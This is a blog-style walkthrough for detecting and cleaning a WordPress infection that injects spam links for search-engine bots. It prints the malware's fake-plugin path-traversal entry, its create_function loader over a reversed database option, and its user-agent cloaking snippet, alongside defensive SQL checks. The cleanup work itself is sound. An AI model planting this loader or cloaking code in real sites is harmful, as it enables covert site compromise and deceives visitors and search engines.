After spending a weekend evening, together with mysurface, we tracked down a Wordpress exploit running silently in several blogs. This document describes a walk-through to reveal the exploit code.
Symptoms
- Several
*_new.giff *_old.pngg *_new.phpfiles exists in your Wordpress's sub-directories, e.g.wp-content/uploads/directory. - Strange spam-links appear on your blog pages when retrieved by a GoogleBot. Check this with:
curl --user-agent "Googlebot/2.1 (+http://www.google.com/bot.html)" http://yourblogsite.com
Exploit Walkthrough
1. Fake activated plugin(s)
Check the 'active_plugins' option in your WordPress
database. It should contain ONLY
the file paths that point to activated plugin scripts.
SELECT * FROM wp_options WHERE option_name = 'active_plugins'
For example, this is a normal SpamKarma 2 plugin:
i:1;s:27:"SK2/spam_karma_2_plugin.php"
But this is not. You need to remove it:
i:0;s:117:"../../../../../../../../../../../../../../../../../../../../../../tmp/tmpTz3eoe/sess_77cae6776e0eebb17329bf7a93a1ef6f"
In this case, it is a fake plugin script. But since your Wordpress thinks that it's just another activated plugin, it loads and runs the script everyday.
The fake plugin script, in our case, was found located at
/tmp/tmpTz3eoe/sess_77cae6776e0eebb17329bf7a93a1ef6f.
It contains some cryptic codes:
By removing all the /* .. */ comments, you will get this:
<? $f=create_function("",strrev(get_option("wordpress_options"))); $f(); ?>
Notice that, the script retrieves 'wordpress_options' option
from your WordPress database.
2. Encoded 'wordpress_options' option
So, if the 'wordpress_options' option exists in your database,
remove it.
SELECT option_value FROM wp_options WHERE option_name = 'wordpress_options'
It contains the exploit code, which is based64-encoded:
After base64-decoded it, the exploit code reveals itself:
At the end of the exploit code, you find this:
if(!function_exists('echo123')){ function echo123(){ echo base64_decode(get_option('internal_links_cache')); } }
$seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
$sebot=""; foreach($seau as $ua) if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
if($sebot=="1" && sizeof($_COOKIE)==0) add_action('wp_footer','echo123');
3. Encoded 'internal_links_cache' option
Again, if the 'internal_links_cache' option exists in
your database, remove it.
SELECT option_value FROM wp_options WHERE option_name = 'internal_links_cache'
It contains a second exploit code, also base64-encoded.
As shown below, the code is a list of spam-links and a Google Adsense javascript, desperately begging for your donation:
4. *_new.php, *_old.giff files
You may find several *_(old|new).(php|giff|pngg) files
scattered all over your WordPress sub-directories. Remove them and upgrade your Wordpress to the latest version.
These files contains a third exploit code:
Related Exploits
There are a few similar variants of the exploit code out there. If this walkthrough does not match your situation, you may want to continue to read on: